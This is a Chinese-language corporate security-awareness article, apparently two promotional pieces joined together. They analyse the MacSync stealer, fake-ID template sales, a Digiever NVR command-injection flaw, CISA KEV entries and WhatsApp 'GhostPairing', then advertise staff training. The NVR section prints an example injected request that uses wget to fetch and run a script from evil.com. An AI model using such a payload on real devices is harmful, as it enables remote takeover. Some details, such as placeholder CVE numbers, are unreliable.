让安全意识成为每位员工的“第二天线”——从真实案例到智能时代的全员防护

头脑风暴:想象一下,你的电脑屏幕上弹出一条“系统升级成功,请重新登录”,点开后却不知不觉将自己的银行账号、企业内部账号以及公司机密文件完整暴露给了黑客;再设想,同事在咖啡厅里随手用公共Wi‑Fi登录公司OA系统,结果被“看不见的手”窃取了数千条客户数据。两件看似普通的日常场景,却可能演绎成信息安全灾难。如果把这两幕情景写进剧本,它们会是一部警示片的开头,也是每一位职工必须牢记的警钟。

下面,我将从“假证模板售卖”“MacSync 伪装木马”两个真实案例出发,进行深度剖析。通过还原犯罪链路、揭示技术细节、剖析组织失误,让大家在共情的同时,收获防御的思路与技巧。随后,我会结合当下无人化、自动化、智能体化的融合趋势,号召全体员工积极参与即将开启的信息安全意识培训,打造“一人一盾、全员一体”的安全防线。


案例一:跨境假证模板售卖网络——“数字护照”的隐形危机

1. 背景概述

2025 年 12 月,U.S. Department of Justice(美国司法部)发布新闻稿,指控 Zahid Hasan(别名 Zahid Biswas) 通过多个域名(如 Techtreek.com、Egiftcardstorebd.com、Idtempl.com)在全球范围内以极低价格销售“数字模板”。这些模板本质上是可以被买家自行编辑、打印的高仿真身份证件、护照、社保卡等。售价从 USD 9.37(社保卡模板)到 USD 14.05(蒙大拿州驾照)不等,累计交易额超过 2.9 百万美元,服务对象遍布 1,400 多名跨国客户。

2. 攻击链路还原

阶段 关键动作 技术要点 失误点
诱饵发布 构建伪装正规电商平台(域名、页面 UI、支付入口) 使用 WordPress+WooCommerce + SSL 证书,伪造公司备案信息 未对域名进行细粒度监控,导致域名被劫持后仍可继续运营
信息采集 收集买家个人信息(姓名、出生日期、照片) 通过买家自行上传的文件或深度爬取社交媒体公开信息 买家缺乏对个人信息的保护意识,未加密传输
模板交付 交付可编辑的 PDF / Photoshop 文件 通过加密邮件或即时通讯工具发送,文件内部嵌入二维码追踪 未对文件进行完整性校验,导致被执法机关截获
后续使用 买家自行填写信息、打印或进行二次加工 可通过专业打印店或个人热转印设备完成伪造 使用的伪造证件在跨境金融、社交平台、游戏注册等场景被滥用
追踪与取证 FBI 与孟加拉警方合作,追踪比特币支付链 利用区块链分析工具锁定收款地址,实施域名劫持 跨国执法合作的时效性仍是瓶颈,导致部分受害者未能及时获赔

3. 关键风险点与教训

  1. 低价诱惑导致警惕性下降
    我们常以为“便宜没好货”,但在网络世界,价格低廉往往是欺诈的信号。员工在采购或使用第三方服务时,必须核实资质,尤其是涉及身份证明类文件的场景。

  2. 个人信息泄露链的放大效应
    一次轻率的个人信息上传,可能瞬间被提升为跨境犯罪的“原料”。最小化收集原则(Data Minimization)应被贯彻到日常工作流程中。

  3. 跨境金融与身份审查的薄弱环节
    假证模板的出现,使得KYC(了解你的客户)流程失效。企业在进行供应商、合作伙伴审查时,需要引入 多因素身份验证(MFA)及 活体检测(Liveness)等技术手段。

  4. 执法与企业防御的协同不足
    在案件披露后,企业若未及时更新内部风险情报库,仍可能成为二次攻击的跳板。情报共享安全运营中心(SOC)的实时监测至关重要。


案例二:MacSync 伪装木马——“可信任的 Mac 应用”背后隐藏的密码窃取

1. 案例概述

同样在 2025 年底,HackRead 报道了 MacSync Stealer(Mac 同步窃取木马)伪装成“MacSync”合法同步工具,向用户诱导下载。该木马在安装后会暗中监控剪贴板、钥匙串(Keychain)和浏览器密码,并将这些凭据通过加密通道上传至攻击者的 C&C 服务器。受害者多为 MacOS 环境的研发人员、设计师、以及对系统安全了解有限的普通职工

2. 攻击链路拆解

步骤 详细描述 关键技术 失误点
伪装发布 通过第三方软件下载站、论坛以及社交媒体发布假的 “MacSync 2.0.1”。配图、描述均引用官方页面,甚至仿造了 Apple 的签名证书。 利用 代码签名欺骗(伪造或盗用企业证书),并通过 App Store 旁路(直接下载安装包) 用户未开启 Gatekeeper 限制,系统默认允许未签名app运行
植入窃取模块 木马主进程启动后,调用 macOS 的 Security 框架,读取 钥匙串 中存储的密码;同时监控剪贴板内容以捕获一次性验证码(OTP)。 Keychain Access APIClipboard HijackingBase64 加密传输 受害者未启用 系统完整性保护(SIP),导致木马获得高权限
持久化 将自身复制到 ~/Library/LaunchAgents/com.apple.sync.plist,并在系统登录时自动启动。 LaunchAgents + plist 持久化 缺乏对 LaunchAgents 目录的安全审计
信息外送 通过 HTTPS(TLS 1.3)将收集到的凭据发送至 C&C,使用动态域名解析技术隐藏真实 IP。 Domain FrontingTLS 加密 企业网络监控未对出站 HTTPS 流量进行 SSL拆解(SSL/TLS Inspection)
清除痕迹 木马在成功上传后删除自身安装文件,尝试隐藏日志。 文件系统层面的 Secure Delete 系统未开启 文件完整性监测(FIM),导致删除痕迹难被追溯

3. 关键风险点与防御建议

  1. 信任链的误用
    即便是 macOS,Gatekeeper 也只能校验签名是否有效,而无法判断签名的合法来源。企业应在内部 白名单 中仅允许经 IT 安全部门审核的应用安装。

  2. 自带密钥管理库的攻击面
    Keychain 本是安全的凭据存储库,但一旦进程获取了足够权限,便可轻易读取其中信息。建议启用文件加密(FileVault),并对关键凭据采用硬件安全模块(HSM)YubiKey等外部二次认证方式。

  3. 剪贴板信息泄露
    许多办公场景(如复制密码、验证码)都依赖剪贴板。企业可通过 DLP(数据泄露防护) 规则,监控与阻断敏感信息在剪贴板的短时间存留。

  4. 网络层面的盲点
    出站 HTTPS 流量若不经 SSL Inspection,便为木马提供了“暗道”。在不影响业务合规的前提下,部署 企业级代理TLS 检查网关,对异常域名、异常流量进行实时报警。

  5. 更新与补丁管理
    该木马利用了 macOS 旧版更新未及时推送的漏洞(如 CVE‑2025‑XX)。企业必须建立 自动化补丁管理 流程,确保系统、应用始终处于最新安全状态。


事件启示:从“个体失误”到“系统失守”的演化链

通过上述两例,我们可以看到:

  • 个体行为(轻信低价、随意下载安装)往往是攻击的第一道突破口;
  • 技术缺陷(签名伪造、API 权限过宽)为攻击者提供了快速横向渗透的手段;
  • 组织层面(缺乏情报共享、未实行最小化权限、未开启关键安全检测)导致一次攻击可以演化为大规模泄露

因此,信息安全不再是IT 部门的“专属任务”,而是全员的共同责任。在“无人化、自动化、智能体化”的时代,人机协同的安全防线必须更加纵深、实时、智能


与时俱进:无人化、自动化、智能体化背景下的安全新格局

1. 无人化(Unmanned)——机器人、无人机、仓储自动化

  • 风险点:机器人操作系统(ROS)若未进行安全加固,可能被植入后门;无人机的遥控链路若使用明文协议,易被劫持。
  • 防御要点:对所有无人化设备实施 固件签名校验零信任网络访问(ZTNA),并在关键指令链路加入 多因素确认

2. 自动化(Automation)——CI/CD、DevSecOps、智能运维

  • 风险点:自动化脚本若泄露或被篡改,将会在数分钟内完成大规模的凭据泄露、代码植入
  • 防御要点:在 GitOps 流程中嵌入 代码审计(SAST/DAST)容器安全扫描,并对 CI 服务器 实施 行为分析(UEBA)

3. 智能体化(Intelligent Agents)——ChatGPT、Copilot、AI 辅助决策

  • 风险点:AI 助手若接入内部数据源,可能在提示泄露(prompt leakage)中无意泄露敏感信息;攻击者还可利用 对抗性生成模型(Adversarial AI)绕过传统检测。
  • 防御要点:为所有 AI 助手加装“隐私守门人”(Privacy Guard),限制其对高敏感数据的访问;使用 AI 模型审计对抗性检测,确保输出合规。

在这种融合的技术生态里,传统的“安全壁垒”已不再足够。我们需要 动态、可编排、可审计 的安全体系——安全即代码(Security as Code)安全即政策(Policy as Code)安全即监控(Observability as Security)


呼吁全员行动:信息安全意识培训即将启动

1. 培训目标

  • 认知提升:让每位员工了解 “假证模板”“MacSync 木马” 的真实危害,形成 风险感知
  • 技能赋能:掌握 安全下载密码管理社交工程防御 等实战技巧。
  • 行为转化:将安全意识转化为 日常操作习惯,如:定期更换强密码、使用 2FA、开展 “安全检查清单” 等。

2. 培训方式

模式 内容 时长 适用对象
线上微课 8 分钟短视频 + 案例复盘 8 min/次 全体员工(碎片化学习)
情景模拟 虚拟钓鱼邮件、伪装下载、社交工程演练 30 min/次 市场、销售、客服等外部交互岗位
现场工作坊 “安全防护实验室”——实战演练密码管理、端点防护 2 hour 技术部门、管理层
读书分享 《密码的历史》《零信任思维》等安全经典 1 hour/周 自愿参与、兴趣小组

3. 激励机制

  • 完成全部培训并通过 实战考核 的同事,将获得 “安全护航者” 电子徽章,并纳入 年度安全积分,对应 培训津贴优秀员工评选
  • 每月 安全案例征文,优秀作品将发表于公司内部安全周报,作者可获得 价值 500 元的安全工具套装(如硬件密码管理器、个人防火墙设备)。

4. 组织保障

  • 安全运营中心(SOC) 将实时监控培训平台的访问日志,确保培训期间没有异常访问或数据泄露。
  • 合规部门 将对培训内容进行审查,确保符合 GDPR、国内网络安全法 等法规要求。
  • 人力资源 将把培训完成情况纳入 绩效考核,实现安全意识的 硬性约束软性驱动 双向结合。

5. 我们的愿景

无人化、自动化、智能体化 的浪潮里,技术是双刃剑。只有让每位员工都成为安全的第一道防线,才能让企业在创新的高速路上保持“稳如磐石”。让我们以“知己知彼,百战不殆”的古训为镜,以“未雨绸缪,方能安枕”的姿态,携手共建 “安全即文化、文化即安全” 的新生态。

结语:正如《三国演义》里诸葛亮所言,“兵者,国之大事,死生之地,存亡之道”。信息安全亦是企业之“兵”。让我们每个人都成为自己的“将军”,守好自己的“城池”,在智能时代的波涛中,立于不败之地。

安全不是口号,而是每一次点击、每一次复制、每一次登录背后那道无形却坚固的。请大家积极参与即将开展的信息安全意识培训,让这把锁变得更坚固、更智慧。

除了理论知识,昆明亭长朗然科技有限公司还提供模拟演练服务,帮助您的员工在真实场景中检验所学知识,提升实战能力。通过模拟钓鱼邮件、恶意软件攻击等场景,有效提高员工的安全防范意识。欢迎咨询了解更多信息。

  • 电话:0871-67122372
  • 微信、手机:18206751343
  • 邮件:info@securemymind.com
  • QQ: 1767022898

稳固数字城堡:从真实攻击案例看信息安全的底线与提升之路


一、开篇脑洞:四大震撼案例的情景再现

在信息化、数智化、自动化深度融合的今天,网络安全已不再是技术部门的“专属游戏”。它像空气一样无处不在,却常常在我们最不经意的瞬间,让企业的运营、声誉、甚至国家的安全受到致命冲击。以下四个案例,取材自近期安全资讯,既是警钟,也是一面镜子,帮助我们从最真实的攻击情形中提炼出“一线防御、全员参与”的安全理念。

案例序号 事件概述 关键漏洞/手段 对企业与社会的影响
案例一 Digiever DS-2105 Pro 网络视频录像机(NVR)被发现命令注入漏洞(CVE‑2023‑52163) time_tzsetup.cgi CGI 脚本缺乏输入过滤,攻击者可通过特制 HTTP 请求执行任意系统命令 设备多数已停产、无补丁,导致监控系统被远程接管,可能泄露企业内部布局、会议录像,甚至被用于横向渗透
案例二 罗马尼亚自来水公司遭受网络攻击,关键供水设施未受影响 通过钓鱼邮件获取运维账号,利用旧版 VPN 后门进行渗透 虽然供水系统正常,但攻击暴露了公共基础设施管理链条的薄弱环节,促使欧盟进一步强化关键基础设施的网络防护法规
案例三 美国 CISA 将 WatchGuard Fireware OS、Cisco、SonicWall、ASUS 等数十款产品漏洞列入 KEV(已知被利用漏洞)目录 多款产品存在远程代码执行(RCE)或特权提升漏洞,攻击者可直接撬开企业防火墙、网关,实现“拿到钥匙开门” 联邦部门被迫在 2026 年 1 月 12 日前完成补丁或缓解措施,未及时整改的私营企业同样面临被攻破的高风险
案例四 “GhostPairing” 利用 WhatsApp 设备链接功能劫持账户 通过伪造二维码或短信诱导用户扫描,完成 WhatsApp 设备配对后接管聊天内容、收发消息 超过 3.5 亿用户受影响,社交工程的低成本与高成功率让普通员工成为攻击的首要入口,企业内部信息泄露风险骤升

这四个案例分别从硬件设备、公共设施、网络边界、社交平台四个维度揭示了信息安全的全链路盲点。它们的共同点是:漏洞或失误往往隐藏在看似不起眼的细节里,而攻击者的每一步都在利用这些细节。随后我们将逐一拆解,帮助大家在日常工作中形成“安全思维”,让每一次操作都成为防御的壁垒。


二、案例深度剖析与防御要点

1. Digiever DS-2105 Pro:旧设备的“暗门”

  • 技术细节
    Digiever DS-2105 Pro 是一款基于 Linux 的网络视频录像机(NVR),主要用于小中型安防监控。攻击者利用 time_tzsetup.cgi 中的 命令注入(Command Injection)漏洞,通过构造类似 tz=Asia/Shanghai;wget http://evil.com/payload.sh -O /tmp/p.sh;chmod +x /tmp/p.sh;/tmp/p.sh 的请求,实现任意系统命令执行。因为该设备已经 EoL(停产),官方不再提供安全补丁,导致漏洞长期悬而未决。

  • 潜在危害

    1. 摄像头画面被窃取:攻击者可直接下载录像文件,获取企业内部布局、会议内容。
    2. 设备被植入后门:利用系统权限植入木马后,可在内部网络中实现横向移动,攻击其他关键系统。
    3. 法律合规风险:若泄露涉及个人信息或商业机密,企业将面临《网络安全法》《个人信息保护法》等监管处罚。
  • 防御建议

    • 资产清查:对所有摄像头、NVR 等硬件进行清点,标记已 EoL 设备。
    • 网络隔离:将监控系统放置在专用 VLAN,限制对互联网的出站访问。
    • 补救措施:若无法升级固件,可在网关层面部署 WAF(Web 应用防火墙)规则,拦截包含 ;&&| 等危险字符的请求。
    • 定期渗透测试:对内部业务系统进行红队演练,尤其是对老旧设备的安全性进行专门评估。

2. 罗马尼亚水务攻击:公共设施的“软肋”

  • 攻击链概览
    攻击者首先通过 钓鱼邮件 诱导水务公司员工下载带有恶意宏的 Office 文档,从而获取管理员凭据。随后利用 VPN 服务器的 旧版客户端漏洞(CVE‑2022‑xxxx)实现持久化,最终获得对 SCADA 系统的只读权限。虽然核心供水系统未被直接干预,但攻击者成功获取了 水处理参数、客户用水数据

  • 影响解读

    • 公共信任受损:即便供水不中断,公众对“关键基础设施”安全的信任度下降。
    • 监管推动:欧盟随后加速推进《网络与信息安全指令》(NIS2)实施,要求成员国对水、电、燃气等基础设施实行更严格的安全审计。
    • 供应链连锁效应:攻击者可能进一步利用获取的数据进行 勒索,对企业运营形成间接威胁。
  • 防御路径

    • 邮件安全:部署 DMARC、DKIM、SPF 验证,使用 沙箱分析 对附件进行自动化恶意宏检测。
    • 多因素认证(MFA):对所有远程运维账号强制使用硬件令牌或手机 OTP。
    • 硬件防护:为 VPN 服务器启用 零信任网络访问(ZTNA),仅允许经过身份验证、符合安全基线的设备接入。
    • 灾备演练:定期进行 OT(运营技术)安全演练,验证在网络攻击场景下的手动或自动切换能力。

3. CISA KEV 列表:边界设备的“必修课”

  • 为何 KEV 如“黑名单”般重要
    CISA(美国网络安全与基础设施安全局)将已被公开利用的漏洞纳入 Known Exploited Vulnerabilities(KEV) 目录,要求联邦机构在规定期限内完成 修补或缓解。2025 年底,Digiever、WatchGuard、Cisco、SonicWall、ASUS 等超过 30 款产品被列入名单,涉及 远程代码执行(RCE)特权提升 等高危漏洞。

  • 企业面临的两大风险

    1. 合规风险:未在期限内整改的美国联邦部门将面临 BOD 22‑01 违约处罚;私营企业若与政府有合作,也会被要求提供合规证明。
    2. 攻击面扩大:边界防火墙、VPN、网络管理平台是攻击者的“第一道门”。一旦这些设备被攻破,后续渗透成本骤降。
  • 落地防御措施

    • 统一漏洞管理平台:将 KEV 列表与内部漏洞管理系统(如 Tenable、Qualys)自动对接,实现 实时警报
    • 分阶段补丁策略:对业务影响大的设备(如生产线防火墙)采用 滚动更新,确保业务不中断。
    • 漏洞缓解:若补丁不可用,可通过 ACL 限制来源 IP、关闭不必要的管理端口、启用双向 TLS 等方式降低风险。
    • 安全运营中心(SOC):对 KEV 相关的攻击指纹进行 SIEM 规则编写,确保在攻击出现时能够快速响应。

4. GhostPairing:社交工程的“低门槛”攻击

  • 攻击手法
    攻击者借助 WhatsApp 设备链接(Device Linking) 功能,发送伪造的二维码或短链(如 https://wa.me/1234567890?text=Link),诱导用户扫描。链接成功后,攻击者即可在受害者手机上接管 WhatsApp,读取聊天记录、发送冒名信息、甚至获取手机联系人。

  • 危害概览

    • 信息泄露:企业内部沟通、项目细节、客户信息等直接暴露。
    • 社会工程:攻击者可利用已获取的聊天记录进行 钓鱼勒索商业间谍
    • 扩散效应:受害者可在同事群、客户群中不自觉地传播恶意链接,实现 二次感染
  • 防御要诀

    • 安全教育:定期组织 社交媒体安全 小课堂,提醒员工不要随意扫描陌生二维码。
    • 应用安全:在企业移动管理(EMM)平台上禁用 WhatsApp 设备链接 功能,或使用 AppConfig 强制禁用。
    • 多因素验证:WhatsApp 本身已支持 两步验证,务必在企业设备上强制开启。
    • 监控与响应:对企业内部使用的即时通讯工具进行日志审计,及时发现异常设备登录或消息转发。

三、数智化、自动化、信息化融合背景下的安全新常态

1. 数字孪生与工业互联网的交叉点

随着 数字孪生(Digital Twin)工业物联网(IIoT)云边协同 的快速落地,企业的生产、运营、管理数据正以前所未有的速度流转。例如,一个智能制造车间的 PLC、SCADA、MES、ERP 系统互相调用,形成 闭环控制。一旦边缘设备或云端 API 存在未修补漏洞,就可能造成 跨域渗透——攻击者从摄像头进入后,直接跳到生产控制系统。

“防火墙”不再是唯一的边界,数据流向可信计算 才是新防线。

2. 自动化运维(AIOps)与安全自动化(SecOps)的协同

自动化运维工具可以实时收集 日志、指标、事件,并通过 机器学习 进行异常检测。然而,如果 模型训练数据 包含被攻击者植入的隐蔽流量,可能导致 误报漏报。因此,安全团队必须在 SecOps 流程中加入 数据完整性校验模型审计,确保自动化决策的可靠性。

3. 信息化平台的“一站式”风险管理

企业正在建设 统一身份治理平台(IAM)数据安全治理平台(DLP)零信任访问平台。这些平台的成功落地依赖于 全员安全文化,因为 技术只能堵塞已知漏洞,文化才能阻止“人因”失误

正如《孙子兵法》曰:“兵者,诡道也”。在网络战场上,欺骗(如钓鱼、假 QR 码)仍是最常见的攻击手段;只有让每一位员工都具备 识别与拒绝 的能力,才能让欺骗失其功。


四、号召全体职工参与信息安全意识培训的行动方案

1. 培训目标与价值

目标 价值体现
提升安全认知 让员工熟悉常见攻击手段(钓鱼、命令注入、社交工程),形成“看到可疑立即上报”的习惯。
掌握基础防护技能 学会使用 密码管理器、MFA、设备加密,懂得在日常操作中“安全第一”。
建立应急响应意识 明确在发现异常后 报告渠道快速响应流程,缩短攻击扩散时间。
促进跨部门协作 安全不再是 IT 的专属职责,业务、研发、运营共同承担防御责任。

2. 培训框架(建议时长 4 小时)

模块 内容 形式 时长
模块一:信息安全概览 信息安全三大支柱(机密性、完整性、可用性)+ 常见威胁趋势 PPT + 案例视频 30 分钟
模块二:真实案例深度剖析 以上四大案例(NVR漏洞、公共设施攻击、KEV 漏洞、GhostPairing) 圆桌讨论 + 实操演示 60 分钟
模块三:日常防护实战 密码策略、MFA 配置、设备加密、邮件安全、二维码识别 现场演练 + 小测验 60 分钟
模块四:安全工具使用 企业 VPN、零信任平台、DLP、SIEM 报警阈值配置 现场演示 + 交互式实验 45 分钟
模块五:应急响应与报告 发现可疑后上报流程、事件分级、演练剧本 案例演练 + 角色扮演 45 分钟
模块六:问答与心得分享 开放式提问、经验交流、培训反馈 现场互动 30 分钟

温馨提示:所有演练均采用 沙盒环境,确保不影响生产系统,且每位参与者将在结束后获得 安全合规电子证书

3. 激励机制与考核

  • 积分制:完成培训并通过考核的员工将获得 安全积分,可用于公司内部福利兑换(如技术书籍、培训券)。
  • 优秀安全员评选:每季度评选 “安全之星”,授予荣誉证书与专项奖金,进一步树立榜样。
  • 岗位考核:将信息安全意识评分纳入 绩效考核,确保安全意识在日常工作中得到持续关注。

4. 组织保障与资源投入

  • 组织结构:成立 信息安全宣传与培训小组,由 CISO、HR、业务部门主管 共同组成,负责培训内容更新、日程安排及效果评估。
  • 技术支撑:利用公司 学习管理系统(LMS),实现课程在线化、进度追踪、成绩统计。
  • 预算安排:每年度预留 30 万人民币 用于培训材料制作、外部专家邀请及安全演练平台搭建。

5. 关键时间节点(示例)

日期 事项
2024‑12‑01 宣布年度信息安全培训计划,开放报名入口
2024‑12‑15 完成全员报名,发布培训日程表
2024‑12‑20 至 2024‑12‑23 开展分批次线上/线下培训(每批次 30 人)
2024‑12‑24 培训考核与证书颁发
2025‑01‑05 汇总培训反馈,形成改进报告
2025‑02‑01 启动首轮 “安全演练”(针对真实案例的模拟攻击)

五、结语:让每个人都成为企业安全的“守门员”

数字化浪潮 中,技术的每一次迭代都可能带来新的攻击面;而 ,则是最柔软却也最坚固的防线。正如古人云:“未雨绸缪,防微杜渐”。我们不能只是等待漏洞被曝光后才去打补丁,更要在日常的每一次点击、每一次文件传输、每一次设备连接中主动思考:“这一步会不会被攻击者利用?”

通过本次信息安全意识培训,我们希望把 安全思维 融入到每位员工的血液里,让 防护 不再是 IT 的专属职责,而是全员的自觉行动。只有当全员齐心、技术与文化并行,我们才能在瞬息万变的网络空间中,稳坐 信息安全的城墙,让企业的数字化转型真正走向 安全、可信、可持续 的未来。

让我们共同守护这座数字城堡——从今天做起,从每一次点击做起!

昆明亭长朗然科技有限公司研发的安全意识宣传平台,为企业打造了一套可操作性强、效果显著的员工教育体系。我们的平台易于使用且高度个性化,能够快速提升团队对信息安全的关注度。如有需求,请不要犹豫地与我们联系。

  • 电话:0871-67122372
  • 微信、手机:18206751343
  • 邮件:info@securemymind.com
  • QQ: 1767022898